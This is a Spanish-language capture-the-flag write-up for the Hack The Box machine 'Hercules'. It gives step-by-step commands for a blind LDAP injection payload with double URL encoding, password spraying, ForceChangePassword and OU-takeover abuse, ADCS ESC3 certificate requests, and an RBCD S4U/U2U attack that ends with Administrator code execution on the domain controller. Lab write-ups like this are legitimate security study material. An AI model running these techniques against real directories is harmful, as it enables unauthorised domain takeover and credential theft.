Hercules WriteUp

Tabla de contenido

Hercules WriteUp

Hercules es una máquina de dificultad ⬛ Insane de Hack The Box. La entrada es una inyección LDAP ciega en el portal SSO corporativo que, mediante doble URL encoding, salta el filtro regex y permite extraer campos description de los usuarios del dominio para recuperar una contraseña temporal de rotación. Desde ahí la cadena es puramente de Active Directory: un grupo de helpdesk con ForceChangePassword sobre una cuenta con WinRM (user flag), un OU takeover que habilita una cuenta deshabilitada, un abuso de ADCS ESC3 con restricción de enrollment officer, y una RBCD preconfigurada sobre la cuenta de máquina del IIS que, con el truco de la session key y S4U, entrega al Administrador del dominio.

🧭 Nota. Esta es la versión actual (reworkeada) de la máquina, verificada en vivo. La cadena difiere de writeups antiguos que circulan por internet (que usaban Shadow Credentials, otras plantillas de ADCS y delegación restringida clásica).

🗺️ Cadena de ataque

Recon (DC único: 53,88,389,443,445,5986...)
      │
      ▼
Portal SSO (443) → Inyección LDAP ciega (doble URL encoding) → credenciales de dominio
      │
      ▼
stephen.m ∈ Security Helpdesk ── ForceChangePassword ──► auditor
      │                                                     │
      │                                                     ▼
      │                                          WinRM (evil-winrm -S) → user.txt
      ▼
auditor ∈ Forest Management → GenericAll sobre OU=Forest Migration (OU takeover)
      │
      ▼
habilita + resetea fernando.r (∈ Smartcard Operators)
      │
      ▼
ADCS ESC3: cert Enrollment Agent → cert on-behalf-of ashley.b (officer restringido)
      │
      ▼
RBCD preconfigurada (DC$ confía en IIS_Webserver$) + S4U (u2u/session key) → Administrator → root.txt

🔍 Reconocimiento

Un único host, el controlador de dominio, que además publica el portal web.

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports hercules.htb
sudo nmap -sCV -p$(grep -oP '\d+/open' ports.gnmap | cut -d/ -f1 | paste -sd,) -oA scan hercules.htb
PuertoServicioDetalle
53DNSActive Directory
88, 464KerberosKDC
389, 636, 3268, 3269LDAP/LDAPShercules.htb
443HTTPSPortal SSO ASP.NET (HadesWeb)
445SMB
5986WinRMsolo HTTPS (el 5985 está filtrado)
9389ADWS

Dos detalles marcan el resto del camino, el portal ASP.NET del 443 (Forms Authentication, se ve el __RequestVerificationToken) y que el WinRM solo escucha en 5986 (SSL), por lo que después usaremos evil-winrm -S con Kerberos.

/etc/hosts y krb5.conf apuntando al DC:

echo "10.129.242.196 hercules.htb dc.hercules.htb" | sudo tee -a /etc/hosts
[libdefaults]
    default_realm = HERCULES.HTB
[realms]
    HERCULES.HTB = { kdc = dc.hercules.htb }

💉 Acceso inicial: inyección LDAP ciega en el SSO

El login de https://hercules.htb/Login valida credenciales contra LDAP. El campo de usuario pasa por un filtro regex que bloquea los metacaracteres LDAP habituales (* ( ) = | & \) pero no filtra %, y el servidor descodifica el cuerpo dos veces antes de construir el filtro. Con doble URL encoding reintroducimos los caracteres prohibidos:

CarácterURLDoble URL
*%2A%252A
(%28%2528
)%29%2529
=%3D%253D

El portal devuelve un mensaje distinto según si el filtro LDAP encuentra o no registros ("Login attempt failed" vs "Invalid login attempt"), lo que da un oráculo booleano para extraer carácter a carácter el description de cada usuario cerrando la consulta e inyectando una condición sobre description:

usuario%252A%2529%2528description%253D<prefijo>%252A

Extrayendo las descripciones aparece una contraseña temporal de rotación en el campo description de un usuario del dominio. Con ella y la lista de usuarios (enumerada con kerbrute), un password spray da un usuario válido de bajo privilegio.

⚠️ El portal aplica rate limiting por IP (hay un RateLimitAttribute en la app), conviene espaciar las peticiones o rotar IP durante la extracción.

🩸 De bajo privilegio a auditor: ForceChangePassword

Con un pie en el dominio, bloodhound-python deja el mapa claro. El usuario stephen.m es miembro de Security Helpdesk, y ese grupo tiene ForceChangePassword sobre varias cuentas, entre ellas auditor:

export KRB5CCNAME=stephen.m.ccache
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u stephen.m -k set password auditor 'Zeus#Olympus2026!'
# [+] Password changed successfully!

💡 La política de contraseñas rechaza que la nueva contraseña contenga el nombre de la cuenta (auditor), hay que elegir otra que cumpla complejidad.

auditor pertenece a Remote Management Users, así que ya tenemos WinRM. Como el servicio solo está en 5986:

impacket-getTGT 'hercules.htb/auditor:Zeus#Olympus2026!' -dc-ip 10.129.242.196
export KRB5CCNAME=auditor.ccache
evil-winrm -i dc.hercules.htb -r HERCULES.HTB -S

🚩 Flag de usuario

type C:\Users\auditor\Desktop\user.txt

👑 Camino a Domain Admin

auditor → OU takeover de Forest Migration

auditor es miembro de Forest Management, grupo que tiene GenericAll sobre la OU Forest Migration. Dentro de esa OU vive fernando.r, una cuenta deshabilitada que además es miembro de Smartcard Operators (grupo con derechos de enrolamiento sobre la plantilla ADCS de Enrollment Agent).

Tomamos control de la OU añadiéndonos una ACE de GenericAll heredable y, acto seguido, habilitamos y reseteamos fernando.r:

export KRB5CCNAME=auditor.ccache
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k remove uac fernando.r -f ACCOUNTDISABLE
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k set password fernando.r 'Fern#Pwn2026!'

⚠️ Hay una tarea de limpieza en la máquina que revierte la toma de la OU a los ~25 segundos. Hay que encadenar el add genericAll con la habilitación de fernando.r sin pausas.

ADCS ESC3 con officer restringido

fernando.r (vía Smartcard Operators) puede solicitar la plantilla de Enrollment Agent contra la CA CA-HERCULES. La petición por RPC da timeout, así que se usa DCOM:

impacket-getTGT 'hercules.htb/fernando.r:Fern#Pwn2026!' -dc-ip 10.129.242.196
export KRB5CCNAME=fernando.r.ccache
certipy-ad req -u fernando.r@hercules.htb -k -no-pass -dc-host dc.hercules.htb \
  -ca CA-HERCULES -template EnrollmentAgent -dc-ip 10.129.242.196 -dcom

Con el certificado de agente pedimos otro en nombre de otro usuario. La CA tiene una restricción de enrollment officer: impersonar al Administrator está denegado (0x80094009 CERTSRV_E_RESTRICTEDOFFICER), pero ashley.b sí está permitido:

certipy-ad req -u fernando.r@hercules.htb -k -no-pass -dc-host dc.hercules.htb \
  -ca CA-HERCULES -template User -on-behalf-of 'HERCULES\ashley.b' \
  -pfx fernando.r.pfx -dc-ip 10.129.242.196 -dcom
certipy-ad auth -pfx ashley.b.pfx -dc-ip 10.129.242.196

Con PKINIT obtenemos el TGT y el hash NT de ashley.b.

El trigger: ashley.b abre la ventana de IIS_Administrator

La cuenta IIS_Administrator (también en la OU Forest Migration) es la que puede resetear la cuenta de máquina del IIS, pero está deshabilitada y protegida (adminCount=1), así que la ACE heredada de la OU no le aplica y no la podemos tocar. La clave está en el escritorio de ashley.b, en aCleanup.ps1:

Start-ScheduledTask -TaskName "Password Cleanup"

ashley.b es miembro de Remote Management Users, así que entramos por WinRM y disparamos esa tarea. La tarea “Password Cleanup” corre como SYSTEM y limpia el adminCount de IIS_Administrator, abriendo una ventana breve en la que la ACE de nuestro OU takeover sí aplica:

impacket-getTGT 'hercules.htb/ashley.b' -hashes :<nt_ashley>   # el hash sale del PKINIT del ESC3
KRB5CCNAME=ashley.b.ccache evil-winrm -i dc.hercules.htb -r HERCULES.HTB -S
# PS> Start-ScheduledTask -TaskName "Password Cleanup"

Habilitar IIS_Administrator y resetear iis_webserver$

Justo después del trigger, y re-tomando la OU (la tarea de limpieza revierte la ACE a los ~25 s), habilitamos y reseteamos IIS_Administrator, y con ella reseteamos la cuenta de máquina IIS_Webserver$:

export KRB5CCNAME=auditor.ccache
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k remove uac IIS_Administrator -f ACCOUNTDISABLE
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k set password IIS_Administrator 'Passw0rd@123'

impacket-getTGT 'hercules.htb/IIS_Administrator:Passw0rd@123' -dc-ip 10.129.242.196
KRB5CCNAME=IIS_Administrator.ccache bloodyad --host dc.hercules.htb -d HERCULES.HTB -u IIS_Administrator -k set password 'IIS_Webserver$' 'Passw0rd@123'

RBCD preconfigurada + truco session-key + U2U S4U → Administrator

El controlador de dominio tiene RBCD preconfigurada confiando en IIS_Webserver$ (DC$ con msDS-AllowedToActOnBehalfOfOtherIdentity apuntando a su SID). Como IIS_Webserver$ no tiene SPN, el S4U necesita el truco de la session key: se pide un TGT, se iguala el hash NT a la session key del propio TGT con changepasswd -newhashes (no set password, que sincroniza todas las claves), y se lanza S4U2self+U2U → S4U2proxy:

NT=14d0fcda7ad363097760391f302da68d              # NT de 'Passw0rd@123'
impacket-getTGT 'hercules.htb/IIS_Webserver$' -hashes :$NT -dc-ip 10.129.242.196
SK=$(python3 -c "from impacket.krb5.ccache import CCache;print(CCache.loadFile('IIS_Webserver\$.ccache').credentials[0]['key']['keyvalue'].hex())")
KRB5CCNAME='IIS_Webserver$.ccache' impacket-changepasswd 'hercules.htb/IIS_Webserver$@dc.hercules.htb' -newhashes :$SK -hashes :$NT -k -dc-ip 10.129.242.196
KRB5CCNAME='IIS_Webserver$.ccache' impacket-getST -spn 'cifs/dc.hercules.htb' -impersonate administrator 'hercules.htb/IIS_Webserver$' -k -no-pass -u2u -dc-ip 10.129.242.196

Obtenemos un TGS como Administrator para cifs/dc.hercules.htb, que nos da ejecución como SYSTEM en el DC.

🏴 Flag de root

La root flag está en una ubicación no estándar, C:\Users\Admin\Desktop (no en el escritorio de Administrator). Con el ticket de Administrator, un atexec (o psexec) la lee:

KRB5CCNAME='administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache' \
  impacket-atexec -k -no-pass dc.hercules.htb 'cmd /c type C:\Users\Admin\Desktop\root.txt'

📝 Resumen

#FaseTécnicaResultado
1ReconnmapDC único, portal SSO en 443, WinRM solo en 5986
2Acceso inicialInyección LDAP ciega (doble URL encoding)credenciales de dominio
3LateralSecurity Helpdesk → ForceChangePassword → auditorWinRM + user.txt
4PrivescForest Management → OU takeover de Forest Migrationcontrol de fernando.r
5ADCSESC3 (Enrollment Agent, officer restringido)cert + hash de ashley.b
6DARBCD preconfigurada sobre IIS_Webserver$ + S4U (u2u)Administrator → root.txt

🧠 Lo que enseña Hercules

  • Una inyección en un login LDAP filtra el directorio entero. La doble descodificación del servidor convierte un filtro regex en papel mojado.
  • ForceChangePassword es tan bueno como una contraseña. Un grupo de helpdesk mal acotado sobre una cuenta con WinRM es la diferencia entre nada y user.
  • El control de una OU se hereda a sus hijos. Un GenericAll sobre la OU permite habilitar cuentas deshabilitadas y resetearlas, aunque la máquina intente limpiarlo con una tarea programada.
  • ESC3 no siempre llega a Administrator directo. Un enrollment officer restringido obliga a impersonar a la cuenta permitida y seguir tirando del hilo.
  • La RBCD preconfigurada sobre una cuenta de máquina del IIS es el pivote final, y el truco de la session key con -u2u es lo que hace funcionar el S4U cuando la cuenta no tiene SPN.